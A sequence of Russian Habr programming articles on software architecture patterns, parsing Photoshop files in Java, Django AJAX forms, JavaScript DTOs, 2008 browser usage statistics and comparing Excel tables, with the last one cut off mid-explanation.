Ниже приведён упрощённый пример представления системы SOA. На практике же подобные архитектуры сложны и включают множество компонентов. На схеме мы видим два сервиса, подключённых к общему реестру сервисов. Через этот реестр они при необходимости находят информацию для подключения друг к другу.
*Обобщённый пример SOA*
Эта архитектура повышает функциональную совместимость и масштабируемость системы, но также привносит сложность в процесс определения и интеграции распределённых систем, поскольку зачастую нелегко управлять изменениями в сообщениях, которые могут повлиять на потребителей разных сервисов.
▍ Шаблон «Издатель-подписчик»
-----------------------------
В шаблоне «Издатель-подписчик» издатели и потребители данных существуют независимо и являются друг для друга анонимными. В рамках этого шаблона множество потребителей подписываются на события, публикуемые множеством издателей. Обе стороны взаимодействуют опосредованно через шину событий.
Поскольку все взаимодействия реализуются через шину событий, то к ней должны быть подключены все участники. Причём для успешной работы здесь важен правильный выбор подходящей технологии. Ниже показан пример такой системы, в которой разные типы устройств подключены к шине событий.
*Шаблон «Издатель-подписчик»*
Эта архитектура повышает переиспользуемость и быстродействие при обмене данными, оптимизируя их создание и потребление на шине событий. Однако сложно рассуждать о производительности таких систем, учитывая асинхронную природу коммуникаций. В конечном счёте шина событий оказывается узким местом в системах как с высоким, так и с низким быстродействием.
▍ Шаблон «Общие данные»
-----------------------
В шаблоне «Общие данные» несколько компонентов обращаются к набору данных через общее хранилище. При этом ни один из компонентов не несёт полной ответственности за сами данные или хранилище, так как они являются общими. Такой шаблон особенно эффективен в случаях, когда множеству компонентов требуется доступ к большим объёмам данных.
*Шаблон «Общие данные»*
И хотя эта схема имеет собственное название, обычно мы видим её в составе более крупных систем, например, когда в архитектуре SOA разные сервисы обращаются к общей базе данных. В таком случае можно определить типы доступа как чтение и запись, установив разные правила и разрешения, оптимизирующие и защищающие доступ к данным. Сегодня сложность этой архитектуры понижается, к примеру, с помощью облачных сервисов вроде AWS RDS, которые обеспечивают для баз данных работу с репликами, масштабируемость и резервное копирование.
Этот шаблон повышает надёжность за счёт согласованности данных, а также масштабируемость и быстродействие в случае их правильной разбивки. С другой стороны, в случае некорректного управления системой существует единая точка отказа.
▍ Шаблон P2P
------------
Одноранговые архитектурные шаблоны принадлежат к категории симметричных шаблонов «Клиент-сервер». Симметричность в данном контексте означает отсутствие в сети подразделения на клиентов и серверы. В этом шаблоне одна система выступает и как клиент, и как сервер.
Каждая система, также называемая пиром, отправляет запросы другим пирам сети и в то же время получает и обслуживает запросы от других пиров этой сети. Такая схема сильно отличается от традиционной клиент-серверной сети, в которой клиент должен только отправлять запрос и ожидать его обработки сервером.
*Одноранговая архитектура*
Примеры этой архитектуры можно наблюдать в сетях обмена файлами вроде [Gnutella](https://en.wikipedia.org/wiki/Gnutella), а также протоколе [блокчейна](https://www.blockchain.com/) и его реализации [Bitcoin](https://bitcoin.org/en/).
▍ Шаблон «Брокер сервисов»
--------------------------
Брокерская система включает в себя три основных компонента: брокера, сервер и клиента. Этот шаблон используется для структуризации распределённых систем с раздельными компонентами. На определённом уровне он является расширением клиент-серверного подхода для более сложных сценариев.
Брокер – это компонент, отвечающий за переправку сообщений между клиентом и сервером. Эти сообщения представляют собой запросы к сервисам и ответы на них, а также отчёты о возникших исключениях.
Серверы размещают информацию о своих возможностях (сервисы и характеристики) на брокере, который при получении от клиента определённого запроса перенаправляет этого клиента в подходящий сервис из имеющихся в реестре. Хорошими примерами брокеров сообщений являются [Apache ActiveMQ](https://en.wikipedia.org/wiki/Apache_ActiveMQ), [Apache Kafka](https://en.wikipedia.org/wiki/Apache_Kafka), [RabbitMQ](https://en.wikipedia.org/wiki/RabbitMQ).
Схематично шаблон выглядит так:
*Шаблон «Брокер сервисов»*
Использовать этот шаблон рекомендуется, когда связь между клиентом и сервером не является фиксированной ввиду присутствия нескольких подходящих серверов или их периодического изменения. Он также актуален, если выбор сервера зависит от определённого критерия, который достаточно сложен для передачи отдельному компоненту. Что же касается настройки или создания брокера, то это сложная задача, которая обычно выполняется одним из провайдеров вроде упомянутых выше.
▍ Поиск подходящей архитектуры
------------------------------
Список шаблонов можно продолжать и продолжать. В действительности я перечислил лишь те, что считаю наиболее распространёнными. Некоторые шаблоны рождаются в ходе решения новых задач, другие могут подходить для различных систем или команд, а третьи лишь одной организации. Важно объективно оценивать структуру вашей системы, а также обращаться к опыту других людей, знакомых с областью стоящей перед вами задачи. Скорее всего, ваше решение потребует комбинирования нескольких из перечисленных шаблонов, ибо сложность является неизбежным фактором во всех успешных системах ПО.
▍ Бонус: несоответствие архитектуры
-----------------------------------
Архитектурное несоответствие – это феномен, который очень часто встречается при проектировании архитектуры, в которой предполагается, что компонент будет использоваться способом, противоречащим его базовому назначению. В результате возрастает сложность не только разработки архитектуры, но и её обслуживания, что делает невозможным достижение необходимых критериев качества.
Такая ситуация может сложиться на концептуальном уровне, когда архитектурная схема не сопоставлена с наиболее важными атрибутами создаваемой системы, или когда выбрана неподходящая технология. Например, если ничто не указывает на связь архитектуры с моделью издатель-подписчик, то использование реляционной базы данных в качестве основного механизма обмена сообщениями существенно скажется на итоговом результате.
Изучение шаблонов и выделение необходимого времени на подобающее определение архитектуры может избавить от множества проблем, так что не стоит недооценивать этот этап в начале каждого проекта. Даже выбор необходимых технологий нужно производить лишь тогда, когда определена архитектура, но не наоборот, как это часто бывает.
Вот, собственно, и всё. Благодарю за внимание!
> **[Telegram-канал с полезностями](https://inlnk.ru/dn6PzK) и [уютный чат](https://inlnk.ru/ZZMz0Y)**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=osnovnye_arxitekturnye_shablony_postroeniya_po) | https://habr.com/ru/post/699648/ | null | ru | null |
# PSD parser или как разобрать файл Photoshop на Java
Как-то предложили сделать парсер psd файла. Вроде бы очень просто. Надо найти из каких слоёв состоит документ, вывести перечень слоёв. Если слой текстовый, вывести текст и параметры форматирования. Т.е. названия шрифтов, размеры, отступы и т.д.
С чего начать? Да поможет нам гугл. Море информации, куча подробностей как делать плагины для фотошопа. Но это всё не то. Нужна консольная программа, которая будет получать на вход psd файлы и выдавать на выходе текстовое описание его внутренностей. Установка фотошопа изначально не планировалась.
Самым полезным оказался вот этот документ: [PhotoshopFileFormat](http://www.adobe.com/devnet-apps/photoshop/fileformatashtml/PhotoshopFileFormats.htm) — собственно спецификация структуры файла photoshop. Эдакий побайтный скелет .psd файла, как раз то, что доктор прописал.
Далее погуглил на предмет того, а делали ли что либо подобное коллеги на java? Да, оказывается и такое есть. [Parser-psd](http://blog.alternativaplatform.com/en/2007/07/09/parser-psd-formata/) — краткое описание + исходники там же. Их программа разбирает файл на слои, причём сохраняет их в отдельные файлы(!) плюс добывается информация по нарезке(slices). Для моей задачи немного не то, но как начальный пример очень даже помог.
Файл загоняется в обычный поток `DataInputStream in = new DataInputStream(input)` и далее работаем с этим потоком побайтно.
Сам файл состоит из пяти основных секций:
1. File header
2. Color mode data
3. Image resources
4. Layer and mask information
5. Image data
header имеет фиксированный размер, а вот остальные блоки могут иметь разный размер. С этим повнимательнее. Один байт мимо и всё дело накроется. Размер указывается в первых четырёх байтах блока, поэтому блоки можно проскакивать, если всё парсить не надо `in.skipBytes(size)`.
Тут главное внимание и чёткое следование спецификации. Внимание! От версии к версии формат меняется, в спецификации эти различия указываются. Однако текущая спецификация, которую мне удалось найти от 2010 года, а мне пришлось пользоваться ещё более старым описанием за 2007й год. Поэтому при разборе самых свежих версий файлов можно промахнуться. | https://habr.com/ru/post/261511/ | null | ru | null |
# Django — обработка ошибок в ajax-формах
Hello everyone!
Все мы знаем что [Django](http://www.djangoproject.com/) — очень мощный и динамично развивающийся фреймворк для создания веб-приложений. Однако, несмотря на наступление эпохи Веб 2.0, в нём всё ещё нет встроенных механизмов для работы с **AJAX**, в частности отправки и проверки форм. Возможно django просто не хочет навязывать пользователю какой-то js-фреймворк и хочет оставаться гибкой в этом вопросе, но так или иначе при разработке часто требуются формы, работающие через ajax, без перезагрузок страниц.
О создании таких форм и работе с ними и пойдёт речь в данной статье.
Сразу оговорюсь, что идея не нова, и существует несколько библиотек, реализующих требуемую функциональность, например одна из них — <http://www.dajaxproject.com/>.
Для тех же, кто предпочитает сам управлять взаимодействием клиента с сервером или тех, кто не хочет втягивать в проект дополнительную библиотеку и иметь дело с её багами, я расскажу как ~~изобрести велосипед~~ реализовать механизм самостоятельно и опишу различные способы решения проблемы.
#### Форма
Для примера возьмём простую форму регистрации пользователя на сайте:
```
class RegisterForm(forms.Form):
email = forms.EmailField()
password1 = forms.CharField(label=_("Password"), widget=forms.PasswordInput)
password2 = forms.CharField(label=_("Password confirmation"), widget=forms.PasswordInput)
```
В реальной жизни вы, скорее всего, будете наследовать эту форму от модели данных, но для нашего примера это несущественно.
#### Вывод формы
Для отображения этой формы на странице у нас есть два варианта:
* Сделать контейнер с *display:none* внутри всех страниц, с которых можно вызывать форму (или внутри родительского шаблона), затем с помощью JS создавать диалог из этого контейнера.
* Подгружать форму через ajax с отдельного URL, и затем также создавать диалог.
Преимущество первого варианта — в его скорости работы (не надо делать дополнительного запроса к серверу), зато во втором варианте можно использовать один и тот же **view** для обработки **GET** и **POST** запросов к форме (POST нам потребуется в обоих случаях), плюс мы делаем отдельный файл шаблона для вывода формы, что делает структуру кода более упорядоченной, хотя это конечно дело вкуса.
Лично я внедряю что-то в шаблон страницы только если это простой диалог типа *да/нет*, а для форм всегда использую отдельные **view**.
Поэтому остановимся здесь на отдельном представлении для формы, тогда код будет выглядеть следующим образом:
* **view**:
```
def register(request):
form = RegisterForm()
return direct_to_template(request, "register.html", extra_context={'form': form })
```
* **template**:
```
{% load i18n %}
{% csrf\_token %}
{{ form.as\_ul }}
+ {% trans "Register" %}
```
#### Обработка формы
Переходим к обработке формы. Здесь необходимо учесть, что ajax-обработчик должен как-то понимать, была ли форма успешно проверена или в ней присутствуют ошибки. Логичным решением здесь, на мой взгляд, будет использование **JSON**. В ответе сервера будет содержаться 2 параметра, первый из которых — булевый, будет сообщать об успешности или неудаче проверки формы. Со вторым параметром опять же есть различные варианты:
* В случае успешной проверки формы этот параметр может быть пустым, так как форма логина скорее всего перенаправляет пользователя на необходимый url после входа и нам неважно что там, либо это может быть строка, которую необходимо отобразить в диалоге подтверждения.
* В случае когда в форме присутствуют ошибки снова возможно 2 способа отображения:
1. Первый способ состоит в том, чтобы заново отрендерить форму с ошибками через шаблон и весь html-ответ поместить в json-переменную, которая затем заменяет содержимое всей формы.
2. Второй способ — создать массив ошибок для всех полей формы и разместить его в json-переменной, затем вывести ошибки для каждого поля в цикле.
Второй вариант идейно мне нравится больше, так как отображает только то, что нужно, без замены всей формы. Здесь я покажу как реализовать оба способа. Код обработки формы на стороне клиента использует популярный JS-фреймворк **jQuery** и плагин к нему под названием [jQuery Form Plugin](http://jquery.malsup.com/form/).
1. Первый способ:
Финальная версия **view**:
```
def register(request):
if request.method == 'POST':
form = RegisterForm(request.POST)
if form.is_valid():
# Обработка
# ...
return HttpResponse(simplejson.dumps({'response': _("Email with a confirmation link has been sent"), 'result': 'success'}))
else:
t = loader.get_template('register.html')
ctx = RequestContext(request, {'form': form})
response = t.render(ctx)
return HttpResponse(simplejson.dumps({'response': unicode(response), 'result': 'error'}))
form = RegisterForm()
return direct_to_template(request, "register.html", extra_context={'form': form })
```
Обработка на стороне клиента, javascript:
```
$(document).ready(function() {
$('#register').live('click', function() {
$('#register_form').ajaxSubmit({
success: function(data, statusText, xhr, $form) {
// Удаляем ошибки если были
$form.find('.error').remove();
if (data['result'] == 'success') {
// Делаем что-то полезное
}
else if (data['result'] == 'error') {
// Показываем ошибки
$form.replaceWith(data['response']);
}
},
dataType: 'json'
});
});
}
```
2. Второй способ:
Финальная версия **view**:
```
def register(request):
if request.method == 'POST':
form = RegisterForm(request.POST)
if form.is_valid():
# Обработка
# ...
return HttpResponse(simplejson.dumps({'response': _("Email with a confirmation link has been sent"), 'result': 'success'}))
else:
# Заполняем словарь response ошибками формы, ключ - название поля
response = {}
for k in form.errors:
# Теоретически у поля может быть несколько ошибок...
response[k] = form.errors[k][0]
return HttpResponse(simplejson.dumps({'response': response, 'result': 'error'}))
form = RegisterForm()
return direct_to_template(request, "register.html", extra_context={'form': form })
```
Обработка на стороне клиента, javascript:
```
function display_form_errors(errors, $form) {
for (var k in errors) {
$form.find('input[name=' + k + ']').after('' + errors[k] + '');
}
}
$(document).ready(function() {
$('#register').live('click', function() {
$('#register_form').ajaxSubmit({
success: function(data, statusText, xhr, $form) {
// Удаляем ошибки если были
$form.find('.error').remove();
if (data['result'] == 'success') {
// Делаем что-то полезное
}
else if (data['result'] == 'error') {
// Показываем ошибки
display_form_errors(data['response'], $form);
}
},
dataType: 'json'
});
});
}
```
Стоит также заметить, что при использовании второго способа и описанного ранее шаблона формы, ошибки будут отображаться с использованием элемента списка , для другого отображения необходимо сделать другой шаблон либо переопределить класс ошибок для формы.
Вот и всё. Прилагаю скриншоты получившейся формы в различных состояниях:
Буду рад услышать комментарии и узнать другие способы работы с ajax-формами. | https://habr.com/ru/post/117876/ | null | ru | null |
# DTO в JS
Информационные системы предназначены для обработки данных, а DTO ([Data Transfer Object](https://en.wikipedia.org/wiki/Data_transfer_object)) является важным концептом в современной разработке. В “классическом” понимании DTO являются простыми объектами (без логики), описывающими структуры данных, передаваемых “по проводам” между разнесенными процессами (remote processes). Зачастую данные "по проводам" передаются в виде JSON.
Если DTO используются для передачи данных между слоями приложения (база данных, бизнес-логика, представления), то, по Фаулеру, это называется [LocalDTO](https://martinfowler.com/bliki/LocalDTO.html). Некоторые разработчики (включая самого Фаулера) [негативно относятся](https://stackoverflow.com/questions/43319743/data-transfer-object-dto-where-to-build/43324820#43324820) к локальным DTO. Основным отрицательным моментом локального применения DTO является необходимость маппинга данных из одной структуры в другую при их передаче от одного слоя приложения к другому.
Тем не менее, DTO являются важным классом объектов в приложениях и в этой статье я покажу JS-код, который на данный момент считаю оптимальным для DTO (в рамках стандартов ECMAScript 2015+).
Структура данных
----------------
Во-первых, в коде должна быть отражена сама структура данных. Лучше всего это делать с использованием классов (аннотации JSDoc помогают ориентироваться в типах данных):
```
class ConfigEmailAuth {
/** @type {string} */
pass;
/** @type {string} */
user;
}
```
Это пример простой структуры данных, где каждый атрибут является примитивом. Если некоторые атрибуты сами являются структурами, то класс выглядит примерно так:
```
class ConfigEmail {
/** @type {ConfigEmailAuth} */
auth;
/** @type {string} */
from;
/** @type {string} */
host;
/** @type {number} */
port;
/** @type {boolean} */
secure;
}
```
Создание объектов
-----------------
Как правило, создание экземпляра DTO в половине случаев связано разбором имеющейся структуры данных, полученной "по проводам" с "другой стороны". Поэтому конструктор DTO получает на вход некоторый JS-объект, из которого пытается извлечь знакомые ему данные:
```
/**
* @param {ConfigEmailAuth|null} data
*/
constructor(data = null) {
this.pass = data?.pass;
this.user = data?.user;
}
```
В конструкторе структуры со сложными атрибутами используются конструкторы для соответствующих атрибутов:
```
/**
* @param {ConfigEmail} data
*/
constructor(data = null) {
this.auth = (data?.auth instanceof ConfigEmailAuth)
? data.auth : new ConfigEmailAuth(data?.auth);
this.from = data?.from || 'default@from.com';
this.host = data?.host || 'localhost';
this.port = data?.port || 465;
this.secure = data?.secure || true;
}
```
Если какой-то атрибут представляет из себя массив, то в конструкторе его разбор выглядит примерно так:
```
class ConfigItems {
/** @type {Item[]} */
items;
/**
* @param {ConfigItems} data
*/
constructor(data = null) {
this.items = Array.isArray(data?.items)
? data.items.map((one) => (one instanceof Item) ? one : new Item(one))
: [];
}
}
```
Если какие-то данные должны быть сохранены в атрибуте без разбора, то это тоже возможно (хотя к DTO имеет такое себе отношение):
```
class SomeDto {
/** @type {Object} */
unknownStruct;
/**
* @param {SomeDto} data
*/
constructor(data = null) {
this.unknownStruct = data?.unknownStruct;
}
}
```
Метаданные
----------
Метаданные - это информация о коде. Метаданные позволяют отследить, где используются соответствующие атрибуты объекта:
```
class SaleOrder {
/** @type {number} */
amount;
/** @type {number} */
id;
}
SaleOrder.AMOUNT = 'amount';
SaleOrder.ID = 'id';
```
Например, при выборке данных из БД:
```
const query = trx.from('sale');
query.select([
{[SaleOrder.ID]: 'saleId'},
{[SaleOrder.AMOUNT]: 'totalAmount'},
// ...
]);
```
Результирующую выборку можно напрямую передавать в конструктор `SaleOrder`, а затем получившийся DTO выкидывать на web в качестве ответа.
Резюме
------
Если сводить воедино все три составляющих DTO (структура, конструктор, метаданные), то получается примерно такой es-модуль:
```
import ConfigEmailAuth from './ConfigEmailAuth.mjs';
export default class ConfigEmail {
/** @type {ConfigEmailAuth} */
auth;
/** @type {string} */
from;
// ...
/**
* @param {ConfigEmail} data
*/
constructor(data = null) {
this.auth = (data?.auth instanceof ConfigEmailAuth)
? data.auth : new ConfigEmailAuth(data?.auth);
this.from = data?.from || 'default@from.com';
// ...
}
}
ConfigEmail.AUTH = 'auth';
ConfigEmail.FROM = 'from';
// ...
```
Подобный подход позволяет извлекать знакомые подструктуры данных из больших структур (конфигурационных файлов, ответов от сервисов и т.п.), непосредственно относящиеся к текущему контексту, а IDE, за счёт аннотаций, имеет возможность помогать разработчику ориентироваться в этой подструктуре.
"[Вот и всё, что я могу сказать об этом.](https://www.youtube.com/watch?v=ZROwn6tZVTc)" (с)
Послесловие
-----------
Коллега [@chemaxa](/users/chemaxa) отметил в комменте, что "есть же уже давно <https://github.com/OAI/OpenAPI-Specification> ... и *есть куча генераторов кода под разные языки для dto разной степени паршивости которые выдают код описанный в статье.*" Я попробовал использовать генератор для "`javascript`" (на выходе код ES2015+), получил вот это (убрал только пустые строки):
ConfigEmail.js
```
/**
* OpenAPI Petstore
* This is a sample server Petstore server. For this sample, you can use the api key \"special-key\" to test the authorization filters
*
* The version of the OpenAPI document: 1.0.0
*
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*
*/
import ApiClient from '../ApiClient';
import ConfigEmailAuth from './ConfigEmailAuth';
/**
* The ConfigEmail model module.
* @module model/ConfigEmail
* @version 1.0.0
*/
class ConfigEmail {
/**
* Constructs a new `ConfigEmail`.
* @alias module:model/ConfigEmail
*/
constructor() {
ConfigEmail.initialize(this);
}
/**
* Initializes the fields of this object.
* This method is used by the constructors of any subclasses, in order to implement multiple inheritance (mix-ins).
* Only for internal use.
*/
static initialize(obj) {
}
/**
* Constructs a `ConfigEmail` from a plain JavaScript object, optionally creating a new instance.
* Copies all relevant properties from `data` to `obj` if supplied or a new instance if not.
* @param {Object} data The plain JavaScript object bearing properties of interest.
* @param {module:model/ConfigEmail} obj Optional instance to populate.
* @return {module:model/ConfigEmail} The populated `ConfigEmail` instance.
*/
static constructFromObject(data, obj) {
if (data) {
obj = obj || new ConfigEmail();
if (data.hasOwnProperty('auth')) {
obj['auth'] = ConfigEmailAuth.constructFromObject(data['auth']);
}
if (data.hasOwnProperty('from')) {
obj['from'] = ApiClient.convertToType(data['from'], 'String');
}
}
return obj;
}
}
/**
* @member {module:model/ConfigEmailAuth} auth
*/
ConfigEmail.prototype['auth'] = undefined;
/**
* @member {String} from
* @default 'default@from.com'
*/
ConfigEmail.prototype['from'] = 'default@from.com';
export default ConfigEmail;
```
Что привлекло внимание. Во-первых, двухступенчатое создание объекта:
```
constructor() {
ConfigEmail.initialize(this);
}
static initialize(obj) {}
```
Полагаю, что вынос инициализирующего кода из конструктора в статический метод минимизирует потребление памяти в runtime - статические методы share'ятся между всеми экземплярами класса, а не "навешиваются" на каждый экземпляр.
Во-вторых, значения по-умолчанию вешаются на прототип, используемый для создания экземпляров класса:
```
ConfigEmail.prototype['from'] = 'default@from.com';
```
Это опять-таки направлено на минимизацию потребления памяти при массовом создании экземпляров.
В третьих, отсутствуют метаданные об используемых в DTO атрибутах:
```
ConfigEmail.AUTH = 'auth';
```
Наверное, с точки зрения разрабов *этого* генератора кода такая информация показалась им излишней и при необходимости её вполне можно добавить в генератор.
В общем, на мой взгляд, вполне неплохое совпадение изложенного в моей публикации (структура, конструктор, метаданные) с практикой (структура, конструктор). Что касается статических методов, то Safary только 26-го апреля этого года [научилась понимать](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Classes/static#%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D1%80%D0%B6%D0%BA%D0%B0_%D0%B2_%D0%B1%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D0%B0%D1%85) статику (хотя того же эффекта можно добиться за счёт прямого переноса методов в класс: `ConfigEmail.initialize = function(obj){}`).
Хочу отметить, что я не считаю, что DTO уместны только лишь в разрыве "браузер" - "сервер". IMHO, везде, где данные можно представить в виде JSON'а, для его разбора и структуризации пригодна вот такая структура. В том числе и для выборки данных из хранилищ, и для загрузки конфигурационных параметров приложения из файлов. Тянуть во все эти случаи OpenAPI-генератор мне представляется сомнительным.
Коллега [@nin-jin](/users/nin-jin) в своём комментарии справедливо заметил, что хорошо бы "*проверять типы полей перед их сохранением*". Я могу согласиться, что было бы правильным приводить типы данных к ожидаемым (нормализовать данные). Кстати, так и делается в OpenAPI-генераторе:
```
if (data.hasOwnProperty('from')) {
obj['from'] = ApiClient.convertToType(data['from'], 'String');
}
```
Хотя синтаксис его собственной платформы $mol, кажется мне более "прозрачным":
```
import {$mol_data_string as Str} from 'mol_data_all'
const ConfigEmail = Rec({
from: Str
})
```
Насколько я понял, функция `Rec` предназначена для создания простых дата-объектов (объекты без логики, только с данными) "на лету". В общем-то это и есть DTO, только режима runtime, а не уровня кода (те же метаданные в моём примере позволяют программисту "метить" места использования соотв. DTO и находить их без запуска приложения).
Что касается его ремарки "*делать все поля опциональными - сомнительное решение*", то в данной публикации я рассматривал DTO прежде всего как фильтр, структурирующий JSON данные - на вход подаётся некоторый объект, а фильтр извлекает из него (или его части) знакомую ему структуру. Это не валидатор, поэтому - норм. Валидатор уже потом может брать готовую структуру, пробегать по ней и принимать решения, что делать, если чего-то для чего-то не хватает.
Коллеге [@DmitryKoterov](/users/dmitrykoterov) просто спасибо за заботу о моём душевном здоровье, но воспользоваться его советом перейти на TypeScript я не смогу - мешает старая психологическая травма, полученная лет 10-15 назад, когда я пытался понять, почему GWT-приложение в production mode работает иначе, чем в dev, и видел совсем не тот код, который создавал я и мои коллеги. Мы писали на прекрасной Java, а там был обфусцированный и минифицированный JavaScript. Меня так это контузило, что я потом очень долго писал на PHP. Вот только пару лет назад слегка попустило.
Этот абзац я вставил в начало публикации специально для того, чтобы при сохранении он перенесся в конец текста, а второй абзац стал первым. Вот такая занимательная бага есть сегодня на Хабре. | https://habr.com/ru/post/567040/ | null | ru | null |
# На кого ориентироваться, разрабатывая сайт
Разрабатываем сайт?
===================
Итак, вы решили разработать супер-мега-крутой сайт для русскоязычной аудитории. Вы определились с тематикой, дизайном и прочая-прочая. Но вот интересный вопрос — под какие браузеры писать, использовать ли JavaScript и Cookies и т.д. Конечно же для этого есть статистика.
Вот решил сделать небольшую выборку статистики за последние несколько месяцев, любезно предоставленную [SpyLog'ом](http://gs.spylog.ru/rsu/)
Пользователи рунета
===================
### Браузеры
1. `Microsoft Internet Explorer 6` — 31.9688%
`Microsoft Internet Explorer 7` — 26.9798%
`Opera 9` — 17.8806%, из них:
1. `Opera 9.27` — 3.2576%
`Opera 9.26` — 2.5004%
`Opera 9.25` — 2.2335%
`Opera 9.50` — 2.2312%
`Opera 9.24` — 1.4761%
`Opera 9.23` — 1.1596%
`FireFox 2` — 15.3957%, из них:
1. `FireFox 2.0.0.14` — 8.7303%
`FireFox 2.0.0.13` — 2.3272%
`FireFox 2.0.0.12` — 2.2589%
`FireFox 3` — 3.0628%
`Opera 8` — 1.5698%
`Safari 3` — 0.6943%
Ну, что ж. Как минимум не забываем про IE и его баги — все фиксим. Так же и оперу не обходим стороной, а на Сафари, похоже, можно не обращать внимания.
### Размер экрана
1. 1280x1024 — 42.0192%
1024x768 — 38.0098%
1440x900 — 4.2832%
1152x864 — 4.1294%
800x600 — 3.9573%
1680x1050 — 3.6213%
Что ж, не забываем про разрешение 800x600, но и при больших разрешениях сайт должен выглядеть достойно. Считается, что очень широкий дизайн не очень удобен.
### JavaScript и куки
Спайлог по этому поводу сказал, что пользователей с отключенными куками и неопределенной версией JavaScript — 9.3418%.
Вообще говоря, не знаю значит ли это, что скрипты отключены, поскольку мне казалось что спайлог сам работает за счет яваскрипта. При этом например [этот сайт](http://www.abc-it.lv/index.php/id/704) сообщает, что по статистике того же спайлога пользователей с отключенными куками около 1.5% а без яваскрипта около 2% если я правильно понял.
### Изображения
По исследованию Expertum.ru (как сообщает [вот этот](http://pr.cnews.ru/pr_body.shtml?cid=12561&pr=2006/05/03/41463) сайт), 23% интернет-пользователей изучает сайты, отключив картинки. Так что позаботьтесь о том, чтобы ваш сайт выглядел прилично и тем более мог быть использован полностью и без изображений.
В заключение
============
В общем, IE лидирует, но, слава богу, хоть не пятой версии; разрешение экрана божеское, но на 800 пикселей ширины все же стоит расчитывать тоже; ну и без JavaScript уже не обойтись.
Но все же сколько бы вы не ориентировались на большинство всегда стоит помнить про мобильные устройства и людей без скриптов и с отключенными изображениями, поэтому хорошим тоном будет использование блочной верстки, которая бы хорошо выглядела как с отключенными изображениями так и без поддержки стилей вообще, а так же дублирование новомодных аяксов обычными формами (Unobtrusive JavaScript неплохая вещь).
Надеюсь эта статья была вам полезна. Если это так, то можете добавить кармы не только мне но и хабраюзеру [SomeTime](https://geektimes.ru/users/sometime/), который принимал активное участие в ее создании. | https://habr.com/ru/post/28929/ | null | ru | null |
# Вышел alpha-релиз Smarty 3
Оказывается, третьего дня, то есть 17 октября сего года, вышел альфа-релиз многими любимого (и многими же презираемого) шаблонизатора [Smarty](http://smarty.net/).
Интерфейс шаблонизатора особо не изменился. Это всё те же `display()`, `fetch()` и `assign()`, которые покрывают процентов 99 всех потребностей. Монструознное `assign_by_ref()` почило в бозе. Туда ему и дорога ;)
Внутренности же претерпели более существенные изменения:
* Отказ от поддержки PHP4 и полное использование объектно-ориентированных возможностей PHP5. То есть в шаблонах можно использовать разыменования объектов без костылей;
* Объектно-ориентированный подход затронул и плагины: теперь каждый плагин является классом, отнаследованным от `Smarty_Internal_PluginBase`
* Файл основного класса — Smarty.class.php — стал подозрительно маленьким: всего 11 кб, включая здоровенные спойлеры лицензии LGPL ;)
* Все требуемые элементы, исключённые из ядра, подгружаются лишь по мере необходимости (lazy loading)
* Маленькая приятность — встроенная реализация паттерна singleton.
* **Поддержка нативных PHP-шаблонов** — особенность, которая наверняка породит множества холиваров. *Будет интересно посмотреть, во что выльется, однако от себя могу сказать, что я этой фичей пользоваться не буду)*
Надо сказать, что по сравению с веткой 2.x, дистрибутив значительно потолстел: папка `libs`, экспортированная из SVN, заняла немногим менее 800 кб, в то время как в версии 2.6.20 её вес был был порядка 320 кб.
Настораживает также отсутствие юнит-тестов (в версии 2.6.20 они были, хоть и чертовски подозрительного качества). Но посмотреть в деле будет интересно. Пожалуй, нужно будет заняться :)
Подробности о релизе — в официальном [README](http://smarty-php.googlecode.com/svn/branches/Smarty3Alpha/README).
Желающие могут вытащить версию из SVN:
> svn checkout [smarty-php.googlecode.com/svn/branches/Smarty3Alpha](http://smarty-php.googlecode.com/svn/branches/Smarty3Alpha/) | https://habr.com/ru/post/42810/ | null | ru | null |
# Сравнить две таблицы excel
Решим достаточно тривиальную задачу с помощью языка python — сравним две таблицы excel и выведем результат в третью. Что может быть проще, и почему просто не использовать средства самой программы, входящей в пакет office? Попробуем разобраться.
**Дано**
У нас есть две таблицы с условными названиями «Прайс1» и «Прайс2».
Обе имеют расширение .xlsx и открываются программой excel без каких-либо дополнительных действий. Но есть проблема — таблицы доступны в формате read-only дабы никто кроме владельца не мог изменить данные. Поэтому, для того, чтобы начать применять какие-либо формулы в самих таблицах необходимо таблицы продублировать, сохранив их дубликаты.
Вторая проблема — позиции товаров перемешаны, идут не в алфавитном порядке и вообще могут иметь разное количество позиций наименований.
И проблема третья — столбец с количеством товара не обязательно следует за столбцом с наименованиями товаров.
Как сравнить данные таблицы с наименьшими трудозатратами и сделать, так чтобы это сравнение легко адаптировалось под иные вводные?
### Какие предложения от excel ?
Как правило, в задачах подобного рода применяется функция ВПР.
Например формула может выглядеть следующим образом:
```
=ЕСЛИОШИБКА(ВПР(F4;$B$3:$C$5;2;0);0)
```
Логика следующая: берем позицию в Прайсе2 и ищем ее по Прайсу1, выводя значение.
Однако, этот вариант работает не для всех случаев: если в Прайсе2 нет позиции, которая была в Прайсе1, формула не работает — 
**Формула посложней**
Она повторяет предыдущую, но уже учитывает значение (количество товара) при поиске.
```
=ЕСЛИ(ЕСЛИОШИБКА(ВПР(F3;$B$3:$C$5;2;0);0)=G3;"";ЕСЛИОШИБКА(ВПР(F3;$B$3:$C$5;2;0);0))
```
Но она также бесполезна, если позиция выбыла в Прайсе2:
**И третий вариант формулы**
Для небольшого удобства прайсы разнесены по разным листам одной таблицы, а сама итоговая таблица на третьем листе.
Для ячеек в столбце с Прайсом1 формула примет вид:
```
=ЕСЛИ(ЕНД(ВПР(A2;'D:\Users\al\Desktop\[Прайс1.xlsx]Лист1'!$B$3:$B$5;1;0));"Нет";ВПР(A2;'D:\Users\al\Desktop\[Прайс1.xlsx]Лист1'!$B$3:$C$5;2;0))
```
Для ячеек в столбце с Прайсом2:
```
=ЕСЛИ(ЕНД(ВПР(A2;'D:\Users\al\Desktop\[Прайс2.xlsx]Лист1'!$B$3:$B$5;1;0));"Нет";ВПР(A2;'D:\Users\al\Desktop\[Прайс2.xlsx]Лист1'!$B$3:$C$5;2;0))
```
Выглядит это следующим образом:
Здесь видно, что формула учитывает моменты, если в Прайсах пропадают или появляются позиции. В таблице они обозначены словом «Нет».
Формула работает. Но, помимо ужасающих размеров, она имеет одно «но», точнее два «но».
Чтобы все работало корректно, необходимо:
